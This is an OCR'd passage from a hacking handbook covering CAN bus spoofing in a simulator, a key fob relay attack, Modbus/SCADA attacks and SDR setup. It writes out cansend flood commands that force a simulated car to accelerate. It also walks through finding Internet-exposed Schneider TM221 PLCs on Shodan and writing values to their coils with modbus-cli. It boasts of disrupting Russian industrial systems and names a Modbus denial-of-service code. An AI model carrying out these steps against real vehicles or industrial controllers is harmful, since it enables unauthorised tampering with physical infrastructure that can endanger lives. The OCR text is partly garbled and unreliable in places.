veanO is the interface

161# is the frame ID

000005500108000D is the data we want to send

:~# cansend vcan® 161#000005500108000d

s ~# I

Now, when we hit enter, the custom CAN frame will be sent over the network. I hope it is
obvious that when we reverse engineer the network, this is the command we will use to initiate
the actions we desire on the CAN network, such as; accelerate, open the door, initiate the brakes,
etc.

In the previous sections, we learned how to use the CAN utilities or can-utils to capture and send
CAN packets. Now, with those tools, we can begin to isolate and reverse engineer the CAN
packets to take control of the vehicle!

Use the Controller to Accelerate the Car

Now, with the instrument panel (like below) and the controller open, we can begin to send
packets on the network to open and close doors, turn on the turn signals and accelerate the
vehicle.

C Simulator

Click anywhere on the Control Panel, as seen below.
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CAMBus Control Panel e @0

Accelerate
(UP Arrow)

Lock Unlock
Left Shift Right Shift

Turn
(Left / Right)

Now that the Control Panel is in focus, we can begin to use the game controller or keystrokes to
control our simulated vehicle.

Let's try to speed up our car. Hold down the UP arrow key until the car accelerates to 100 mph
(160 kph), as seen below.

100

Release the UP arrow, and the car's speed will return to idle again.
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To reverse engineer this process, we need to find the CAN packet signal accelerating the car to
100 mph. When we find that packet, we can duplicate it (reverse engineer) and send it on the
network to accelerate the car to 100mph without the driver doing anything! Like a ghost has
taken over his vehicle!

Use the cansniffer to Find the Specific Packet and Values
The next step is to open the cansniffer on our CAN network.
kali > cansniffer -c vcan(

Now, with the cansniffer running, once again press the UP arrow and accelerate the car to 100
mph. Watch the data pass and look for the packets that are changing rapidly (they will be in red).
These packets will likely be those changing the speed of the vehicle.

As you can see below, we identified the packet with Arbitration ID 244 as a likely candidate for
the car acceleration. Let's focus on that ID.

.189291
.199376

.199398

.199377

.199443

. 200637

. 200649

.199287

.199348

.200641

.199951 93 _E8 -
.209412
.199952 2 2 C
.104323

.200887

. 200656

. 200657

.200721

.199225

. 299946

.300843

. 299945

.299450

0
0
0
0
0
0]
0
0
0]
0]
0
0]
0
0
0
0
0
0
0]
0
0]
(0]
0
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As we learned earlier, we can filter out all the other traffic but that ID. By using a mask and then
entering the ID we want to focus on, cansniffer will only display the traffic we want to focus on.
So, to filter for just this ID, enter;

-000000

+244

Remember, these entries will not appear on the screen.

When you do, cansniffer will filter out all the traffic, but that traffic is intended for Arbitration
ID 244, as seen below.

File Edit View 5Search Terminal Help
81 delta ID data ... < cansniffer vcan® # 1=20 h=100 t=508

0.199442 244 00 00 00f=8 12 |

Now, accelerate the car to 100 mph again and watch the values change. When you reach the
maximum speed, you will likely see values similar to those seen in the screenshot above. Record
these values on paper.

Reverse Engineer the Accelerate Packet

We can now send a packet with that Arbitration ID and those values over the network by using
the cansend utility. Remember, the cansend utility requires the interface, followed by the
arbitration ID, followed by a #, and then the values, such as;

kali > cansend vcan0 244#0000003812

~/1CSin# cansend veand 244#0000003812f

This packet will signal the car to accelerate to 100mph!

Although this is the right packet, you might not notice any change in the speedometer. That is
because the CAN network is simultaneously sending signals to also idle at Omph. The car is
getting mixed signals. The car's normal control system is telling it to run at 0 mph, and you are
sending a single packet to accelerate to 100 mph.

213 | Page



120 140 460
100 1

What if we could send a continuous stream of packets telling the car to accelerate to 100 mph
rather than just 1?7 We may be able to overwhelm the normal control system packets and get the
car to accelerate.

Let's try writing a simple script to send continuous packets telling the car to accelerate, such as;

kali > while true; do cansend vcan0 244#0000003812; done

10510 Wh1Le true; do cansend veand 24440000603

Now hit ENTER and see what happens!
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IC Simulator

120 140 469 ?
180

The car should immediately begin to accelerate to 100 mph! You have taken control of the car!

Key Fob Hacking

As automobiles become increasingly complex and digital, the opportunities for hacking these
transportation vehicles increase exponentially. One of the many conveniences that these new cars
offer is proximity door locking/unlocking and engine starting. This feature was first introduced
in 1999 and is known as Passive Keyless Entry and Start (PKES). When the key fob holder is
near the vehicle, the door automatically unlocks, and the same is true for starting the car. Very
often, these cars start simply by pushing a button and only when the key fob is near. Without the
key fob, the thief is stymied. These electronic measures were designed for safety and
convenience, but since they are electronic, they can--of course--be hacked.
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These key fobs emit a low energy (LF) unique signal with the vehicle ID to the car that relays to
the vehicle the owner is near. What if we could amplify and relay that signal from the key fob
and fool the car that the owner is nearby?

That is exactly what this hack does!
Signal Amplification Relay Attack (SARA)

Numerous ways have been developed to hack the keyless entry system, but probably the simplest
method is known as SARA or Signal Amplification Relay Attack. In this hack, the attacker
simply relays the RF signal across a longer distance. Normally, the key fob signals when the
owner is in proximity to the vehicle and unlocks the car. In this hack, two transmitters are used.
One picks up the signal from the key fob, amplifies it, and then transmits it to another receiver
near the vehicle. The receiver then copies the relayed signal and transmits it in proximity to the
vehicle. The vehicle's controller unit detects the signal sensing the owner is nearby, and opens
the vehicle door.

RF Transmitter
receives signal, when
placed near
key fob, then transmits it.

(o) o)

'
RF Receiver
receives transmitted
| Key Fob signal and copies it.

This is then used to
open and start
the car.

The beauty of this hack is that although the signals between the vehicle and the key fob are
encrypted, it is not necessary to decrypt the message; it is simply transmitted in its entirety. In
some ways, it’s similar to the pass-the-hash attack, where the attacker simply presents the
password hash without decrypting it. This attack works against most cars manufactured before
2014 and Honda cars up to 2021.

The Relay Attack

Let's take a look at this hack in a bit more detail.
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In this attack, the signal from the key fob is relayed to a location near the vehicle to trick the
keyless entry system that the key fob is near and open the door.

Capture LF Signal from Vehicle

This hack relays the Low Frequency (LF) signals from the vehicle over a Radio Frequency (RF)
link. Each RF link is composed of;

1. an emitter

2. areceiver

Step #1 Step #2
130 KHz Amplification . Amplification
signal and filtering Up-mbing andfitering 2> GHiz antenna
z | ¥
A E |
\ __,//
- » »
<30 cm
Q 2.5 GHz Signal ~100m
\ Generator
/ Signal relayed

at2.5GHz

130 KHz Amplification i Amplification
/ signal \\ and Filtering Dawn-mixing and flIIer\|ng v

| 2.5 GHz Antenna

-
upto&m /,:C\ 2.5 GHz Signal Step #3

\ / Generator

Convert the LF to 2.5GHZ and Send it to the Receiver

The emitter captures the Low Frequency (LF) signal from the vehicle and converts it to 2.5GHz.
This signal is then sent over the air (up to 100m) to the receiver, which converts it back to an LF
signal.

Amplify the Signal and Send it to the LF (Low Frequency) Antenna

The LF signal at the receiver is amplified and sent to a loop LF antenna which replicates the

signal originally sent by the vehicle. A loop LF antenna is then used to transmit the signal to
open the door and then start the engine.
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(a) Loop antenna placed next to the door handle. (h) Starting the engine using the relay.

For more on Radio Hacking, check out Chapter 14.

Summary

The can-utils and the ICSim are excellent training tools for understanding how the CAN protocol
works and reverse engineering the control signals and packets on the network. Although there
are many vectors for gaining access to the car such as GPS, cellular and wireless networks, once
inside the car's network we need to determine what signals control which functions. This tutorial,
I hope, provides you with some idea of how this process works.

Exercises
1. Download the can-utils
2. Download the ICSim
3. Create a virtual CAN network
4. Replicate the steps of a CAN replay attack from this chapter
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Chapter 14
SCADA/ICS Networks

SCADA/ICS systems are differentiated from traditional
information IT systems in a number of key ways. Probably
the most important differentiation is the many communication
protocols. Unlike traditional IT systems with their
standardized TCP/IP protocols, SCADA/ICS systems are
marked by significant variations in their communication
protocols.

SCADA/ICS Manufacturers

There are numerous SCADA/ICS protocols, sometimes different protocols, within the many
manufacturers of hardware. The major manufacturers of SCADA/ICS hardware include;
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Seimens

Honeywell

Toshiba

Rockwell Automation/Allen-Bradley

Mitsubishi

GE

Schneider Electric

and many others.

Each of these companies makes varied products and uses various protocols, some of which are
proprietary. This is one of the many reasons that securing SCADA/ICS systems can be
challenging. At the same time, this industry has benefited from security through obscurity, as
many attackers are unfamiliar with these protocols.

SCADA/ICS Communication Protocols

Among these many manufacturers of PLC and SCADA/ICS systems, there are numerous
communication protocols. To pentest these systems, you need at least a rudimentary
understanding of these protocols.

These are the most widely used protocols.

Modbus

DNP3

ICCP

Common Industrial Protocol (CIP)

EtherNet/IP

CompoNet

ControlNet

DeviceNet

OLE for Process Control (OPC)
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Each of these protocols operates slightly differently (in some cases, VERY differently), and we
will detail their inner workings in separate articles here on Hackers-Arise, but for now, let's focus
on the most widely used protocol, Modbus.

Modbus
Modbus Serial (RTU)

Modbus RTU was first developed in 1979 by Modicon (now part of Schneider Electric) for
industrial automation systems and Modicom PLCs. It has become the industry standard if there is
one. Modbus is a widely-accepted, public-domain protocol. It is a simple and lightweight
protocol intended for serial communication. It has a data limit of 253 bytes.

Modbus operates at Layer 7 of the OSI model. It is an efficient communication methodology
between interconnected devices using a "request/reply" model. Because it is simple and
lightweight, it requires little processing power.

Modbus was first implemented on either RS-232C (point-to-point) or RS-485 (multi-drop)
physical topology. It can have up to 32 devices communicating over a serial link, with each
device having a unique ID.

Modbus uses a Master/Slave (client/server) architecture where only one device can initiate
queries. The slaves/server supply the requested data to the master or perform the action requested
by the master. A slave is any peripheral device (I/O transducer, valve, network drive, or other
measuring devices) that processes information and sends its output to the master via the Modbus

protocol.
_J

MODBUS Mastar TCPIP
) - : Ethemat |

ZBSRTWTCP Gateway 485 Z-wire bus

1 m' T T T 1
MODBUS Master @ 6 % @

Masters can address individual slaves or initiate a broadcast message to all slaves. Slaves return a
response to all queries addressed to them individually but do not respond to broadcast queries.
Slaves do NOT initiate messages; they can only respond to the master. A master's query will
consist of the slave address (slave ID or Unit ID), a function code, any required data, and an
error-checking field.
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Modbus communicates by Function Codes. Function code can be used to perform a wide range

of commands.

Please see the list of function codes below.

Modbus Function Codes

Function Code Function Name
01 Read Coil Status
02 Read Input Status
03 Read Holding Registers
04 Read Input Registers
05 Force Single Coil
06 Preset Single Register
07 Read Exception Status
08 Program 484
0A Poll 484
0B Fetch Communication Event Counter
oC Fetch Communication Event Log
oD Program Controller
0E Poll Controller
OF Force Multiple Coils
10 Preset Multiple Registers
11 Report Slave ID
12 Program 884/M84
13 Reset Communication Link
14 Read General Reference
15 Write General Reference
16 Mask Write 4X Register
17 Read/rite 4X Registers
18 Read FIFO Queue

Function code 8 is the diagnostic function code. Within that Function code 8, we have
numerous sub-function codes. Note Function Code 8, sub-function code 04, Force Listen Only
Mode. This can be used to create a Denial of Service (DoS) condition on some Modbus-enabled

systems.

Note the Diagnostic sub-function codes below.
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Diagnostic Sub-Function Codes

Function Code | Sub-Function Code Function Name

08 00 Return Query Data
08 01 Restart Communication Option
08 02 Return Diagnostic Register
08 03 Change ASCII Input Delimiter
08 04 Force Listen Only Mode
08 05-09 Reserved
08 0A Clear Counters and Diagnostic Reg.
08 0B Return Bus Message Count
08 0C Return Bus Communication Error Count
08 0D Return Bus Exception Error Count
08 OE Return Slave Message Count
08 OF Return Slave No Response Count
08 10 Return Slave NAK Count
08 1 Return Slave Busy Count
08 12 Return Bus Char. Overrun Count
08 13 Return Overrun Error Count
08 14 Clear Overrun Counter and Flag
08 15 Get/Clear Modbus Plus Statistics
08 16-UP Reserved

Modbus TCP

Modbus TCP is the Modbus protocol encapsulated for use over TCP/IP. It uses the same
request/response as Modbus RTU, the same function codes, and the same data limit of 253 bytes.
The error-checking field used in Modbus RTU is eliminated as the TCP/IP link layer uses its
checksum methods, eliminating the need for the Modbus RTU checksum. Modbus TCP utilizes

the reserved port 502 to communicate over TCP/IP.

Modbus TCP adds a Modbus Application Protocol (mbap) to the Modbus RTU frame. It is 7
bytes long with 2 bytes for the header, 2 bytes for the protocol identifier, 2 bytes in length, and 1
byte for the address (Unit ID).
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——— Maodbus RTU Message ——————

¢ MBAP Header » «— Modbus TCF/IP PDU —
Transaction ID|| Protocel 10 Length ||UnitlD - _
. Maodbus TCP/IP ADU »

Modbus Security
Modbus has numerous security concerns.

Lack of authentication - Modbus does not include any form of authentication. An attacker only
needs to create a packet with a valid address, function code, and any associated data.

No encryption - all communication over Modbus is done in cleartext. An attacker can sniff the
communication between the master and slaves and discern the configuration and use.

No Checksum - although Modbus RTU uses a message checksum, when Modbus is
implemented in TCP/IP, the checksum is generated in the transport layer, not the application
layer, enabling the attacker to spoof Modbus packets.

No Broadcast Suppression - without broadcast suppression (all addresses receive all messages),
the attacker can create a DoS condition through a flood of messages.

For a more thorough understanding of the Modbus protocol, check out my article on Modbus
simulation here.

SCADA Security and Vulnerabilities

SCADAV/ICS security is probably the most important and overlooked field of cyber security. In
an era where cyber warfare is an everyday occurrence, and cyber terrorism is an ongoing threat,
these huge industrial facilities have large bullseyes on their backs. In some cases, taking down or
disrupting just one of these plants could cost billions of US dollars and many lives. That is why
everyone in our industry needs to become conversant in this field. For more background in
SCADAV/ICS, check out my section on this increasingly important field of information security.

PLCs, or programmable logic controllers, control nearly everything in the SCADA/ICS industry.
These PLCs control everything from petroleum refineries to manufacturing facilities, waste and
sewage plants, and the electric grid. Schneider Electric, based in Paris, France, is one of the
world's largest manufacturers of these devices and sells them to a variety of industries.
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Schneider Electric makes a PLC known as the TM221 that is widely used by small-to-medium-
sized manufacturing facilities to automate their processes. These PLCs use multiple
communication protocols, including the ubiquitous modbus/tcp. To learn more about this
SCADA/ICS communication protocol, check out my article on modbus here and do the modbus
simulation here. Without this understanding of modbus, what follows here will seem opaque.
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Product Details

Modicon M221 Book - Logic Controller

The Modicon M221 book logic controller is for application for controlling of simple machines and offers best-in-class
performance. It requires minimal installation and offers tremendous versatility. Connect a simple remote operator
panel for instant maintenance and machine visualization.

M221 Book Logic Controller

5D card slot and USE port

2 analog inputs and a broad choice of /Os

Run/istop switch and cartridge extension

Ethernet and serial line ports

Programming with SoMachineBasic software

Simple navigation delivers a more efficient engineering process

All programming, visualization, and commissioning are handled in just one intuitive toal
Additional modules for this controller are:

- Safety module

It turns out that many of these PLCs are very easy to hack using multiple SCADA/ICS tools.
Here, I want o show you how to hack these PLCs using the hacking/pentesting tool modbus-cli.
Finding the TM221 with Shodan

First, let's see if we can find any of these PLC's connected to the Internet by using Shodan. For
more on using Shodan to find SCADA/ICS facilities, check out my article here.
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We can simply type "TM221" into the search bar of Shodan, and it will return all the IP
addresses that contain that string in their banners. As you can see below, there are quite a few.
Many of these are vulnerable systems.
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Install modbus-cli

Now that we have located some potentially vulnerable sites using the Schneider Electric TM221
let's see if we can exploit them. Here we will be using a tool dedicated to exploiting the modbus
protocol called modbus-cli. Modbus-cli is a command line (cli) tool that enables us to read and
write modbus/tcp (not serial modbus).

This is a tool we used often to disrupt Russian industrial systems during the
Ukraine/Russia war.

We can get this tool by entering the following;
kali >gem install modbus-cli

Now that we have downloaded modbus-cli, we can begin to recon and exploit the sites found by
using Shodan above.
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Once we have located a site using these PLC's, we can put modbus-cli into action.
modbus-cli Syntax

This command line tool uses simple syntax. To learn a bit of its syntax, let's display its help
screen

kali > modbus --help

:~# modbus --help
L sage:
modbus [OPTIONS] SUBCOMMAND [ARG]

subcommand
subcommand. arguments

Subcommands:
read read from the
write write to the device
dump copy contents of read file to the device

Options:
-h, --help print help
i~#

As you see, the basic syntax is as follows;

kali > modbus [options] SUBCOMMAND [arguments]

Address Terminology

Let's start by reading the values from one of these Schneider Electric sites (I have obscured the
IP to protect the innocent and insecure). Before we do so, though, we need to discuss ways to
designate addresses on these Schneider Electric modbus devices.

We have at least two ways to address these devices and their values, the Schneider Electric mode
and the modicon mode. As we can see in the table below, the Schneider Electric terminology

begins with %M before the address. We will begin by using this terminology and then progress
to the modicon terminology.
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Data Type Data Size Schneider Address | Modicon Address | Parameter
word 16 bits MW 100 400101 —word
integer 16 bits 2%EMW100 400101 ==int
Floating point 32 bits %MF100 400101 --float
Double word 32 bits %MD 100 400101 --dword
Boolean(coils) 1 bit %M100 101 N/A

So, if we want to read the first ten values beginning with address %MW 100, we could simply
enter the following;

kali> modbus read <IP> %MW100 10

:~# modbus read | SMW106 10

As you can see, modbus-cli was capable of pulling the values from the specified ten memory
registers.

We can also use modicon terminology to do the same.
kali > modbus read <IP> 400101 10

:~# modbus read | 400101 10

50169
1400110

If we want more info on the read subcommand, we can simply type --help after modbus and
then read, such as;
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kali > modbus read --help

Li:~# modbus read --help
read [OPTIONS] HOST ADDRESS COUNT
Parameters:
HOST IP address or hostname for the Modbus device

ADDRESS Start address (eg %M100, %MW10Q, 101,
COUNT number of data to read

rs

unsigned 16 bit integ
signed 16 bit integer
g

unsigned 32 bit integers
signed 32 bit floating point values
--modicon Modicon. addressing (eg. coil: 101, word: 4
[Ee1)
--schneider Schneider addressing (eg. coil: SM1G0O, wor
5 float: SMFQ, dword: SMDE)
--glave ID use slave id ID (default: 1)
--port PORT use TCP port (default: 502)
--output FILE write results to file FILE
- -debug show debug messages
--timeout TIMEOUT Specify the timeout in seconds when talk
the slave

Reading the Coils

Let's now try reading the values of the coils. These will be Boolean (ON/OFF) values. The coils
are either ON or OFF with values of 0 or 1. Since we are reading coil values, we use the modicon
address of 101 rather than the Schneider address and then read ten values.

kali > modbus read <IP> 101 10

As we can see below, coils 101, 103, and 105 are all ON (1). The others are all OFF (0)

i~# modbus read D sM1eG 10
1

O B

1

]

L ]

Writing New Values to the Coils

229 | Page



Now, let’s see if we can change those values in the coils. Let's try to turn them all ON. We can
do this with the write subcommand. In this case, we will start with the Schneider address
terminology %MW100 and place 1's in each coil, turning them all ON.

kali > modbus write <IP>%MW1001111111111

:~# modbus write | | %M16G 1 1 111111111
Now, when we go back to read those coils, we can see they have all been activated!
kali > modbus read <IP> %MW100 10

Li:~# modbus read | | SM1G0 10

1

%M108
%M109

1
1
1
1
1
1
1
1
1

Reading the Values into an Qutput File

Finally, we can read all the values into a text file. We may want to do this for later analysis or as
a backup. In this case, let's read 100 coil values into a file named scadaoutput.txt.

kali > modbus read --output scadaoutput.txt <IP> %MW100 100
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1i:~# modbus read --output scadaoutput.txt [N sM100 100
:~# cat scadaoutput.txt

thost :

iport: 502
islave: 1
:offset: '101°
;data:

1l
1
1
1
1
1
1
1
1
1
1
C]

= o

@

@

Now, when we cat that file, we see that we have captured and saved all the values of 100 coils.
Note that the first ten are still all ON.

Summary
Modbus-cli is a powerful pentesting/hacking tool for the modbus/tcp protocol widely used in the

SCADA/ICS industry. For more tools for hacking/pentesting SCADA/ICS check out my _catalog
of Metasploit SCADA/ICS tools here.

SCADAV/ICS security is THE cutting edge in cyber security!
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Chapter 135

Radio Frequency Networks with SDR

So many applications in our modern life use radio
frequency elements that it is hard to list them all. For
instance, consider the following list:
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e Automobile and vehicle access and monitoring

e Mouse and keyboards

e Cellphone Signals

e Remote control

e Telemetry

o Satellite transmissions

e Police and encrypted military communication

e Small-range wireless network

o Wireless meter reading

e Access control systems

e Drone control and monitoring

e Wireless home security systems

e Area paging

e Industrial data acquisition system

e Radio tags reading

e RF contactless smart cards

e Wireless data terminals

o Wireless fire protection systems

o Biological signal acquisition

e Hydrological and meteorological monitoring

e Robot remote control

e Wireless data transmissions

o Digital video/audio transmission

o Digital home automation, such as remote light/switch

e Industrial remote control, telemetry, and remote sensing
e Alarm systems and wireless transmission for various types of low-rate digital signal
e Remote control for various types of household appliances and electronics projects
e Many other applications fields related to RF wireless controlling
e Mobile web server for elderly people monitoring

e Room monitors

e Wireless Microphones

The list could go on for pages. The number of applications is mind-boggling when you consider
it. In addition, the war in Ukraine has revealed how important these signals are in modern cyber
warfare.

233 | Page



Many of these applications have little or no security. The cyber security professional need only
access the transmission to view the data. In cases where there is security, it is often easily
broken. In cases where the transmissions are relatively secure, transmissions can often be
captured and replayed. In addition, encrypted communication can often be decrypted by
capturing the transmission and deciphering the algorithm and passcode.
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This chapter starts with the basics of setting up an inexpensive radio receiver on our computers.
The advantage of using a software-defined radio is;

1. Flexibility using multiple frequencies and signals
2. Using the computer to capture an analog signal and convert it to a digital signal prepares
it for manipulation by digital tools such as decryption.

As we progress through this series and the associated course, we will expand into multiple
frequencies and security protocols and their decryption. This will enable us to listen to and
manipulate secure transmissions.

With the advent of inexpensive radio devices such as the RTL-SDR, HackRF, LimeSDR, and
bladeRF, the possibility of hacking radio frequency (RF) communication and control devices has
been blown wide open to anyone in the cybersecurity/infosec field. Although not commonly
included in penetration tests, radio hacks should be considered as they are presently one of the
most overlooked entry points to the network and systems.

Basic Radio Terminology

Amplitude - The strength of the radio signal

Frequency - the number of cycles per second of radio waves usually measured in hertz

(Hz)

Sample Rate - the rate at which data is taken digitally over time measured in hertz (Hz)

Filter - cleans up received signals in order to limit unnecessary noise and
interference. Also used to clean up transmitted signals to cause less radio
interference

Digital Signal Processing- Signals processed via analysis, modification, and synthesis by a
sequence of numbers that represent samples of a continuous variable in a domain such as time,
space, or frequency

Radio Attack Methods

Unlike traditional web-based attacks, attackers try to intervene in the radio channel and then
connect to the channel and exert control. Once that control is established, it can then be used to
penetrate deeper within the network or system. For instance, SCADA/ICS systems often use
radio communications to their remote terminal units (RTU) and other stations as physical wiring
is impractical over hundreds of acres or miles (km). The attacker may first intercept and control
the communication between remote terminals and then work back to the server or PLCs. In more
traditional security systems, the attacker can use the interception of cellphone traffic to
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eavesdrop on conversations and break text-based 2FA. Intercepting pager traffic with
unencrypted emails can be used for phishing and other targeted attacks.

Sniffing

The simplest attack methodology, and often used first, is sniffing the traffic. This includes using
an SDR device capable of operating at the same frequency as the signal you are attacking. In this
way, the attacker can study and learn the principles of the radio system and identify key
instructions in the data stream. Of course, if the data is unencrypted, the attacker can also
eavesdrop on the traffic.

Replay

Many radio communications do not have a replay-proof mechanism (e.g., timestamps or
randomization). In such cases, the attacker can capture and copy the transmission and then replay
it to the target system. This may work on such systems as car doors, garage doors, household
switches, and others.

Signal deception

In some cases, the attacker can learn the critical packet structure, keys, and verification method
to control the target. This may include spoofing, where the attacker sends a fake but valid signal
to the target.

Signal Hijacking and Denial of Service

The attacker may block the target's network using a signal interference device or pulls the target
onto a fake network. In this way, they can carry out attacks by hijacking upstream and
downstream traffic. This might include blocking a 4G cellular network to force the target onto a
3G or 2G network where the traffic can be intercepted and eavesdropped. Hijacking can also
include such devices as a femtocell or Stingray.

SDR for Hackers Hardware Comparison

Before embarking upon the study of SDR for Hackers, it is a good idea to take a close look at the
options available for hardware in this field. Of course, you will need a computer with a USB
port, but there are numerous options available for the radio receiver/transceiver. Let's take a look
at the specs and advantages and disadvantages of each of the most common hardware options for
software-defined radio (SDR).

USRP
USRP is open-source hardware, firmware, and host code, making it an excellent choice for

developers. USRP has multiple models with varying interfaces and sizes. The USRP X series
uses a 10g Ethernet interface, the USRP N series uses iG Ethernet, the USRP B series uses USB
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2.0 (old) interface and USB 3.0 (new), and the USRP E series has a built-in ARM processor and
does not need a host computer.

The USRP B series is a favorite among developers as it uses USB 3.0 and the USRP B200mini is
the size of a business card.

RTL-SDR

The RTL-SDR is among the most popular among hobbyists. It is low-cost, very capable, and a
good place to start in SDR for Hackers without making a major investment (less than $40).

It is based on the DVB-T dongle that uses the RTL2832U chip. This dongle was originally used
to watch TV on computers. The RTL-SDR supports many pieces of software based upon the
library librtlsdr.

The RTL-SDR can be used to analyze signals and, in combination with the HDSDR software,
can be used for a multitude of purposes.

The strength of the RTL-SDR is its low cost. The weakness of the RTL-SDR is that it is only a
receiver and cannot transmit signals, such as in replay attacks.
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HackRF

HackRF is a great choice for beginners looking for inexpensive SDR hardware that can both
transmit and receive (transceiver). Many "SDR for Hackers" projects require transmitting, such
as replay attacks.

HackRF is all open-source, including its schematic diagram, PCB diagram, driver code, and
single-chip firmware. HackRF supports frequencies from 1MHz- 6Ghz. HackRF is only capable
of transmitting and receiving at half-duplex, a major drawback for high-performance systems.

BladeRF

BladeRF is high-performance hardware for the SDR for Hackers. Unlike HackRF, it is full-
duplex, making it ideal for high-performance applications such as OpenBTS (OpenBTS is an
open-source cellular base station). Its only drawback is its frequency range. The BladeRF is only
capable of sending and receiving radio frequencies to 3.8 GHz.
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LimeSDR

LimeSDR is an open-source, apps-enabled SDR platform. It can receive and transmit UMTS,
LTE, GSM, LoRa, Bluetooth, Zigbee, RFID, Digital Broadcasting, and more.

One of the great strengths of LimeSDR is being apps enabled. LimeSDR is integrated into the
Snappy Ubuntu core, and anyone capable of downloading and using an app can use the
LimeSDR. This makes its capabilities available to a much wider audience. EE, the UK's largest
mobile operator, is distributing LimeSDR to educational institutions for training and
development. Apps available for the LimeSDR include;

e Radio astronomy
e RADAR
e 2G to 4G cellular base station
e Media streaming
o [oT gateway
e HAM radio
e Wireless keyboard and mice emulation and detection
e Tire pressure monitoring systems
e Aviation transponders
o Utility meters
e Drone command and control
e Test and measurement
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Specification Comparison

Ettus B200 RTL-SDR HackRF One Blade RF LimeSDR
Freq Range 70mhz-6Ghz 22mhz-2.2Ghz 1Mhz-6Ghz  300Mhz-3.8Ghz 100khz-3.8Ghz
RF Bandwidth 61l.44Mhz 3.2Mhz 20Mhz 40Mhz 61.44Mhz
Transmitter Channel 1 1 1 0 2
_Recei‘uers _ 1 1 1 il 2
Duplex | Full MNSA Half Full Full
Interface USBE 3.0 UsSB 2.0 UsSB 2.0 USB 3.0 USB 3.0
Chipset AD9364 RTL2832U MAXSEG4 LMSE002M LMS7002M
Open Source Schematic and Firmware No Full Schematic and Firmware  Full
Transmit Power 10dBm+ NSA -10dBm+ 6dBm 0-10dBm
Price 5902 540 5320 5420-1600 534995

These five hardware platforms offer a wide range of capabilities and prices for a hacker looking
to get into SDR. We recommend RTL-SDR for those just starting out and on a limited budget.
For those looking to hack radio signals, you will likely need a transceiver, and the HackRF One
is an excellent platform at a reasonable price. Those needing high-performance and full duplex
will likely want to spend a little extra and buy the BladeRF or LimeSDR. For those looking for a
simple-to-use setup and application, LimeSDR might be your best choice.

In recent years, the ability to receive and send radio signals from your computer has become a
reality! This has become to be known as Software Defined Radio (SDR). With this capability has
come the ability to capture, decode, replay, and hack these signals with all the power of your PC.
These signals range from the mundane such as AM/FM radio and TV broadcast signals to
aircraft signals to low orbit satellite signals to police radio to car unlocking, and many other RF
signals!

240 | Page



In this series, we will attempt to provide you with the basics of SDR so that you can use this
knowledge in many of these different applications. Once you can receive and send radio signals
into your PC, you can use the power of this system to decode, transmit, replay and otherwise
"hack" these signals.

The basic concept of the Software Defined Radio is that radio can be totally configured or
defined in software.

What is SDR

Software-Defined Radio (SDR) refers to the technology wherein software modules running on a
generic hardware platform consisting of DSPs and general-purpose microprocessors are used to
implement radio functions such as generation of the transmitted signal (modulation) at the
transmitter and tuning/detection of received radio signal (demodulation) at receiver

The following diagram displays the basic elements of an SDR transceiver (send and receive).
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Setting Up our First SDR

The first step to SDR hacking is to purchase the necessary hardware. There is a multitude of
different SDR hardware packages available, but the RTL-SDR package is effective and
inexpensive. You can purchase this hardware from Amazon for less than $35 here.
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This kit includes, most importantly, the RTL-SDR USB dongle as well as an antenna and the
necessary cabling.

In addition, Nooelec makes a similar system with some additional capabilities for a little more
(under $50.

We will be using either of this hardware to start this journey into SDR Hacking. As we advance,
you may want to invest in more advanced hardware that has more features most important of
these is the capability to both send and receive signals. For now, these inexpensive systems will
get you started and suffice, and when you are ready to advance, you will likely need to invest
another $100-300 for this hardware.

The Software

Multiple software packages are now available for SDR and new Python features in version 3.7
(async and await specifically). These software packages are available in both Windows and
Linux platforms. Among the most popular are SDR# and HDSDR. Both are high-quality and free
software

To start, we will be using HDSDR for Windows, available free here (unfortunately, this software
is not available for Mac or Linux but can be run from a wine).
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Software Installation
To install HDSDR, you will need to follow the following steps.

First, download the latest Zadig from http://zadig.akeo.ie/

Start Zadig and press "Install Driver" to install the WinUSB drivers after selecting the right
device(s). The device name is often “Bulk-In, Interface (Interface 0)”.

= L -~

Device Options Help
| Buk-ln, Interface (interface 0) v | IEdit
Driver  (NONE) WinUSB (v6. 1.7600.16385) More Information
WinUSB {ibusbx)
USBID OBDA 2838 00 ; libusb-win32
- Install Driver o | libushi
wciD: X . WinUSB (Microsoft)

EE devices found.
L —— ——
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If there is only an empty list, the device is not correctly connected, or a driver is already
installed. Click Options and enable "List All Devices," then choose the RTL device and press

"Replace Driver."

Close Zadig.

If you don't already have HDSDR, download and install HDSDR now

http://hdsdr.de/download/HDSDR _install.exe, but don’t start it.

Download ExtIO_RTL2832.DLL from http://hdsdr.de/download/ExtIO/ExtIO RTL2832.dll

Opening ExtlO_RTL2832.dlI

You have chosen to open:

|%] ExtlO_RTL2832.dll

which is: dll File (254 KB)
from: http://hdsdr.de

What should Firefox do with this file?
(O Open with Browse...

@SoveFle

[[] Do this automatically for files like this from riow an.

Cancel

Copy ExtIO RTL2832.DLL into your HDSDR installation directory (default=C:\Program Files

(x86)\HDSDR)
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delete_settings

¥ Extio_RTL2832.dI|  Cgmd

M8 HDSDR
E‘_] hdsdr_eula

E hdsdr_keyboard_shortcuts
[Z) HDSDR _release_notes

[ 1 unins00.dat

15] unins000

e

A Search HDSDR

Date meodified

12/21/2010 11:55 PM

1201772020 3:05 PM
371972020 1:31 PM
62172011 11:33 AM
87172018 12:57 AM
31972020 2:28 PM
12/1/2020 2:22 PM

12/1/2020 2:22 PM

Type

Windows Comma...

Application exten...

Application

Rich Text Format

Microsoft Edge H...

Text Document
DAT File

Application

Size

1KB
234 KB
7,687 KB
MKB
32 KB
15KE
3KB
6949 KB

(re)start HDSDR (select ExtIO RTL2832.DLL and preferred output sound card if demanded)

Using HDSDR without audio output
Microsoft Soundmapper

0: Speakers [Logitech USE Headset

1: Speakers (4- Realtek High Defin

You are ready to run HDSDR!

Setting Up Our first SDR

0K

Now that we have set up the HDSDR software and the RTL-SDR hardware to work together to
create our software-defined radio. Now that we have those elements functioning let's use our
radio initially for some simple, basic radio signal capture, such as your local FM radio station.

Sampling
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The first step is to set up our sampling rate. Radio signals are continuous and analog. To use
them, we need to take discrete samples of this continuous process. In order words, we need to
capture pieces of the analog signal at a fixed time interval and feed that to our system.

As you can see in the diagram below, the continuous wave of audio is broken into a sample at a

fixed time interval.
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An analog wavefarm is converted to digital audio samples. Each sample

is taken at a fixed time interval.

These samples can then be used to retrieve the original signal by sending them through a

reconstruction filter.

Let's click on the bandwidth button in HDSDR, as seen below.

246 | Page



Soundcard [F5]

Bandwidth [F6]
Options [F7]

Full Screen [F11]

Minimize [F3]

Exit  [F4]

This opens a window to set the sampling rate. We can set both the input sampling rate and the
